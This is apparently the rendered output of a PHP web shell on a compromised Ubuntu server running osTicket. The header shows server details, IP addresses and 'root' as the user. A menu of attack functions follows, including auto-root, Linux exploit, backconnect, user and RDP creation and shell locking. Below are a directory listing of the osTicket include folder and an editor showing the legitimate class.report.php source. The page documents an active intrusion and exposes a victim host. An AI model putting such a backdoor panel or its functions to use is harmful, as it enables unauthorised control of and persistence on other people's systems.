Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
osticket /
upload /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
cli
[ DIR ]
drwxr-xr-x
client
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
fpdf
[ DIR ]
drwxr-xr-x
i18n
[ DIR ]
drwxr-xr-x
mpdf
[ DIR ]
drwxr-xr-x
pear
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
staff
[ DIR ]
drwxr-xr-x
upgrader
[ DIR ]
drwxr-xr-x
.MANIFEST
163.74
KB
-rw-r--r--
.htaccess
14
B
-rw-r--r--
JSON.php
33.13
KB
-rw-r--r--
PasswordHash.php
6.92
KB
-rw-r--r--
Spyc.php
31.73
KB
-rw-r--r--
UniversalClassLoader.php
8.61
KB
-rw-r--r--
ajax.admin.php
7.21
KB
-rw-r--r--
ajax.config.php
4.55
KB
-rw-r--r--
ajax.content.php
9.47
KB
-rw-r--r--
ajax.draft.php
12.72
KB
-rw-r--r--
ajax.export.php
1006
B
-rw-r--r--
ajax.filter.php
874
B
-rw-r--r--
ajax.forms.php
13.3
KB
-rw-r--r--
ajax.i18n.php
4.91
KB
-rw-r--r--
ajax.kbase.php
2.93
KB
-rw-r--r--
ajax.note.php
2.05
KB
-rw-r--r--
ajax.orgs.php
11.7
KB
-rw-r--r--
ajax.schedule.php
4.29
KB
-rw-r--r--
ajax.search.php
12.35
KB
-rw-r--r--
ajax.sequence.php
3.2
KB
-rw-r--r--
ajax.staff.php
7.84
KB
-rw-r--r--
ajax.tasks.php
30.25
KB
-rw-r--r--
ajax.thread.php
8.89
KB
-rw-r--r--
ajax.tickets.php
74
KB
-rw-r--r--
ajax.tips.php
1.66
KB
-rw-r--r--
ajax.upgrader.php
2.24
KB
-rw-r--r--
ajax.users.php
17.8
KB
-rw-r--r--
api.cron.php
909
B
-rw-r--r--
api.tickets.php
8.26
KB
-rw-r--r--
class.ajax.php
1.42
KB
-rw-r--r--
class.api.php
13.14
KB
-rw-r--r--
class.app.php
1.47
KB
-rw-r--r--
class.attachment.php
6.87
KB
-rw-r--r--
class.auth.php
43.91
KB
-rw-r--r--
class.avatar.php
6.43
KB
-rw-r--r--
class.banlist.php
2.54
KB
-rw-r--r--
class.base32.php
4.06
KB
-rw-r--r--
class.businesshours.php
6.72
KB
-rw-r--r--
class.canned.php
8.58
KB
-rw-r--r--
class.captcha.php
1.73
KB
-rw-r--r--
class.category.php
11.04
KB
-rw-r--r--
class.charset.php
3.4
KB
-rw-r--r--
class.cli.php
9.48
KB
-rw-r--r--
class.client.php
15.02
KB
-rw-r--r--
class.collaborator.php
5.44
KB
-rw-r--r--
class.company.php
2.65
KB
-rw-r--r--
class.config.php
58.51
KB
-rw-r--r--
class.cron.php
3.54
KB
-rw-r--r--
class.crypto.php
18.96
KB
-rw-r--r--
class.csrf.php
2.36
KB
-rw-r--r--
class.dept.php
32.39
KB
-rw-r--r--
class.dispatcher.php
6.72
KB
-rw-r--r--
class.draft.php
6.25
KB
-rw-r--r--
class.dynamic_forms.php
62.12
KB
-rw-r--r--
class.email.php
18.09
KB
-rw-r--r--
class.error.php
1.69
KB
-rw-r--r--
class.export.php
31.8
KB
-rw-r--r--
class.faq.php
15.05
KB
-rw-r--r--
class.file.php
32.41
KB
-rw-r--r--
class.filter.php
27.75
KB
-rw-r--r--
class.filter_action.php
20.27
KB
-rw-r--r--
class.format.php
40.68
KB
-rw-r--r--
class.forms.php
183.13
KB
-rw-r--r--
class.http.php
5.52
KB
-rw-r--r--
class.i18n.php
24.2
KB
-rw-r--r--
class.import.php
6.44
KB
-rw-r--r--
class.json.php
2.69
KB
-rw-r--r--
class.knowledgebase.php
5.8
KB
-rw-r--r--
class.list.php
41.85
KB
-rw-r--r--
class.lock.php
4.05
KB
-rw-r--r--
class.log.php
1.54
KB
-rw-r--r--
class.mailer.php
24.05
KB
-rw-r--r--
class.mailfetch.php
37.24
KB
-rw-r--r--
class.mailparse.php
26.7
KB
-rw-r--r--
class.message.php
6.4
KB
-rw-r--r--
class.migrater.php
5.2
KB
-rw-r--r--
class.misc.php
8.15
KB
-rw-r--r--
class.model.php
2.3
KB
-rw-r--r--
class.nav.php
14.14
KB
-rw-r--r--
class.note.php
2.39
KB
-rw-r--r--
class.organization.php
22.44
KB
-rw-r--r--
class.orm.php
119.54
KB
-rw-r--r--
class.osticket.php
18.8
KB
-rw-r--r--
class.ostsession.php
9.82
KB
-rw-r--r--
class.page.php
10.65
KB
-rw-r--r--
class.pagenate.php
5.13
KB
-rw-r--r--
class.passwd.php
1.19
KB
-rw-r--r--
class.pdf.php
3.62
KB
-rw-r--r--
class.plugin.php
23.89
KB
-rw-r--r--
class.priority.php
1.81
KB
-rw-r--r--
class.queue.php
102.01
KB
-rw-r--r--
class.report.php
11.47
KB
-rw-r--r--
class.role.php
11.12
KB
-rw-r--r--
class.schedule.php
46.03
KB
-rw-r--r--
class.search.php
56.26
KB
-rw-r--r--
class.sequence.php
7.27
KB
-rw-r--r--
class.setup.php
3.55
KB
-rw-r--r--
class.signal.php
4.16
KB
-rw-r--r--
class.sla.php
8.64
KB
-rw-r--r--
class.staff.php
52.41
KB
-rw-r--r--
class.task.php
49.97
KB
-rw-r--r--
class.team.php
12.01
KB
-rw-r--r--
class.template.php
23.33
KB
-rw-r--r--
class.thread.php
107.11
KB
-rw-r--r--
class.thread_actions.php
17.08
KB
-rw-r--r--
class.ticket.php
162.72
KB
-rw-r--r--
class.timezone.php
21.94
KB
-rw-r--r--
class.topic.php
19.07
KB
-rw-r--r--
class.translation.php
34.38
KB
-rw-r--r--
class.upgrader.php
13.54
KB
-rw-r--r--
class.user.php
42.45
KB
-rw-r--r--
class.usersession.php
4.99
KB
-rw-r--r--
class.util.php
8.01
KB
-rw-r--r--
class.validator.php
12.05
KB
-rw-r--r--
class.variable.php
11.93
KB
-rw-r--r--
class.xml.php
3.23
KB
-rw-r--r--
class.yaml.php
1.16
KB
-rw-r--r--
htmLawed.php
53.53
KB
-rw-r--r--
html2text.php
33.63
KB
-rw-r--r--
index.php
37
B
-rw-r--r--
mysqli.php
8.55
KB
-rw-r--r--
ost-config.php
5.61
KB
-rw-r--r--
ost-sampleconfig.php
5.62
KB
-rw-r--r--
tnef_decoder.php
19.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class.report.php
<?php class ReportModel { const PERM_AGENTS = 'stats.agents'; static protected $perms = array( self::PERM_AGENTS => array( 'title' => /* @trans */ 'Stats', 'desc' => /* @trans */ 'Ability to view stats of other agents in allowed departments', 'primary' => true, )); static function getPermissions() { return self::$perms; } } RolePermission::register(/* @trans */ 'Miscellaneous', ReportModel::getPermissions()); class OverviewReport { var $start; var $end; var $format; function __construct($start, $end='now', $format=null) { global $cfg; $this->start = $start; $this->end = $end; $this->format = $format ?: $cfg->getDateFormat(true); } function getStartDate($format=null, $translate=true) { if (!$this->start) return ''; $format = $format ?: $this->format; if ($translate) { $format = str_replace( array('y', 'Y', 'm'), array('yy', 'yyyy', 'mm'), $format); } return Format::date(Misc::dbtime($this->start), false, $format); } function getDateRange() { global $cfg; $start = $this->start ?: 'last month'; $stop = $this->end ?: 'now'; // Convert user time to db time $start = Misc::dbtime($start); // Stop time can be relative. if ($stop[0] == '+') { // $start time + time(X days) $now = time(); $stop = $start + (strtotime($stop, $now)-$now); } else { $stop = Misc::dbtime($stop); } $start = 'FROM_UNIXTIME('.$start.')'; $stop = 'FROM_UNIXTIME('.$stop.')'; return array($start, $stop); } function getPlotData() { list($start, $stop) = $this->getDateRange(); $states = array("created", "closed", "reopened", "assigned", "overdue", "transferred"); $event_ids = Event::getIds(); # Fetch all types of events over the timeframe $res = db_query('SELECT DISTINCT(E.name) FROM '.THREAD_EVENT_TABLE .' T JOIN '.EVENT_TABLE . ' E ON E.id = T.event_id' .' WHERE timestamp BETWEEN '.$start.' AND '.$stop .' AND T.event_id IN ('.implode(",",$event_ids).') AND T.thread_type = "T"' .' ORDER BY 1'); $events = array(); while ($row = db_fetch_row($res)) $events[] = $row[0]; # TODO: Handle user => db timezone offset # XXX: Implement annulled column from the %ticket_event table $res = db_query('SELECT H.name, DATE_FORMAT(timestamp, \'%Y-%m-%d\'), ' .'COUNT(DISTINCT E.id)' .' FROM '.THREAD_EVENT_TABLE. ' E ' . ' LEFT JOIN '.EVENT_TABLE. ' H ON (E.event_id = H.id)' .' WHERE E.timestamp BETWEEN '.$start.' AND '.$stop .' AND NOT annulled' .' AND E.event_id IN ('.implode(",",$event_ids).')' .' GROUP BY E.event_id, DATE_FORMAT(E.timestamp, \'%Y-%m-%d\')' .' ORDER BY 2, 1'); # Initialize array of plot values $plots = array(); foreach ($events as $e) { $plots[$e] = array(); } $time = null; $times = array(); # Iterate over result set, adding zeros for missing ticket events $slots = array(); while ($row = db_fetch_row($res)) { $row_time = strtotime($row[1]); if ($time != $row_time) { # New time (and not the first), figure out which events did # not have any tickets associated for this time slot if ($time !== null) { # Not the first record -- add zeros all the arrays that # did not have at least one entry for the timeframe foreach (array_diff($events, $slots) as $slot) $plots[$slot][] = 0; } $slots = array(); $times[] = $time = $row_time; } # Keep track of states for this timeframe $slots[] = $row[0]; $plots[$row[0]][] = (int)$row[2]; } foreach (array_diff($events, $slots) as $slot) $plots[$slot][] = 0; return array("times" => $times, "plots" => $plots, "events" => $events); } function enumTabularGroups() { return array("dept"=>__("Department"), "topic"=>__("Topics"), # XXX: This will be relative to permissions based on the # logged-in-staff. For basic staff, this will be 'My Stats' "staff"=>__("Agent")); } function getTabularData($group='dept') { global $thisstaff; $event_ids = Event::getIds(); $event = function ($name) use ($event_ids) { return $event_ids[$name]; }; $dash_headers = array(__('Opened'),__('Assigned'),__('Overdue'),__('Closed'),__('Reopened'), __('Deleted'),__('Service Time'),__('Response Time')); list($start, $stop) = $this->getDateRange(); $times = ThreadEvent::objects() ->constrain(array( 'thread__entries' => array( 'thread__entries__type' => 'R', ), )) ->constrain(array( 'thread__events' => array( 'thread__events__event_id' => $event('created'), 'event_id' => $event('closed'), 'annulled' => 0, ), )) ->filter(array( 'timestamp__range' => array($start, $stop, true), )) ->aggregate(array( 'ServiceTime' => SqlAggregate::AVG(SqlFunction::timestampdiff( new SqlCode('HOUR'), new SqlField('thread__events__timestamp'), new SqlField('timestamp')) ), 'ResponseTime' => SqlAggregate::AVG(SqlFunction::timestampdiff( new SqlCode('HOUR'),new SqlField('thread__entries__parent__created'), new SqlField('thread__entries__created') )), )); $stats = ThreadEvent::objects() ->filter(array( 'annulled' => 0, 'timestamp__range' => array($start, $stop, true), 'thread_type' => 'T', )) ->aggregate(array( 'Opened' => SqlAggregate::COUNT( SqlCase::N() ->when(new Q(array('event_id' => $event('created'))), 1) ), 'Assigned' => SqlAggregate::COUNT( SqlCase::N() ->when(new Q(array('event_id' => $event('assigned'))), 1) ), 'Overdue' => SqlAggregate::COUNT( SqlCase::N() ->when(new Q(array('event_id' => $event('overdue'))), 1) ), 'Closed' => SqlAggregate::COUNT( SqlCase::N() ->when(new Q(array('event_id' => $event('closed'))), 1) ), 'Reopened' => SqlAggregate::COUNT( SqlCase::N() ->when(new Q(array('event_id' => $event('reopened'))), 1) ), 'Deleted' => SqlAggregate::COUNT( SqlCase::N() ->when(new Q(array('event_id' => $event('deleted'))), 1) ), )); switch ($group) { case 'dept': $headers = array(__('Department')); $header = function($row) { return Dept::getLocalNameById($row['dept_id'], $row['dept__name']); }; $pk = 'dept__id'; $stats = $stats ->filter(array('dept_id__in' => $thisstaff->getDepts())) ->values('dept__id', 'dept__name', 'dept__flags') ->distinct('dept__id'); $times = $times ->filter(array('dept_id__in' => $thisstaff->getDepts())) ->values('dept__id') ->distinct('dept__id'); break; case 'topic': $headers = array(__('Help Topic')); $header = function($row) { return Topic::getLocalNameById($row['topic_id'], $row['topic__topic']); }; $pk = 'topic_id'; $topics = Topic::getHelpTopics(false, Topic::DISPLAY_DISABLED); if (empty($topics)) return array("columns" => array_merge($headers, $dash_headers), "data" => array()); $stats = $stats ->values('topic_id', 'topic__topic', 'topic__flags') ->filter(array('dept_id__in' => $thisstaff->getDepts(), 'topic_id__gt' => 0, 'topic_id__in' => array_keys($topics))) ->distinct('topic_id'); $times = $times ->values('topic_id') ->filter(array('topic_id__gt' => 0)) ->distinct('topic_id'); break; case 'staff': $headers = array(__('Agent')); $header = function($row) { return new AgentsName(array( 'first' => $row['staff__firstname'], 'last' => $row['staff__lastname'])); }; $pk = 'staff_id'; $staff = Staff::getStaffMembers(); $stats = $stats ->values('staff_id', 'staff__firstname', 'staff__lastname') ->filter(array('staff_id__in' => array_keys($staff))) ->distinct('staff_id'); $times = $times->values('staff_id')->distinct('staff_id'); $depts = $thisstaff->getManagedDepartments(); if ($thisstaff->hasPerm(ReportModel::PERM_AGENTS)) $depts = array_merge($depts, $thisstaff->getDepts()); $Q = Q::any(array( 'staff_id' => $thisstaff->getId(), )); if ($depts) $Q->add(array('dept_id__in' => $depts)); $stats = $stats->filter(array('staff_id__gt'=>0))->filter($Q); $times = $times->filter(array('staff_id__gt'=>0))->filter($Q); break; default: # XXX: Die if $group not in $groups } $timings = array(); foreach ($times as $T) { $timings[$T[$pk]] = $T; } $rows = array(); foreach ($stats as $R) { if (isset($R['dept__flags'])) { if ($R['dept__flags'] & Dept::FLAG_ARCHIVED) $status = ' - '.__('Archived'); elseif ($R['dept__flags'] & Dept::FLAG_ACTIVE) $status = ''; else $status = ' - '.__('Disabled'); } if (isset($R['topic__flags'])) { if ($R['topic__flags'] & Topic::FLAG_ARCHIVED) $status = ' - '.__('Archived'); elseif ($R['topic__flags'] & Topic::FLAG_ACTIVE) $status = ''; else $status = ' - '.__('Disabled'); } $T = $timings[$R[$pk]]; $rows[] = array($header($R) . $status, $R['Opened'], $R['Assigned'], $R['Overdue'], $R['Closed'], $R['Reopened'], $R['Deleted'], number_format($T['ServiceTime'], 1), number_format($T['ResponseTime'], 1)); } return array("columns" => array_merge($headers, $dash_headers), "data" => $rows); } }
Close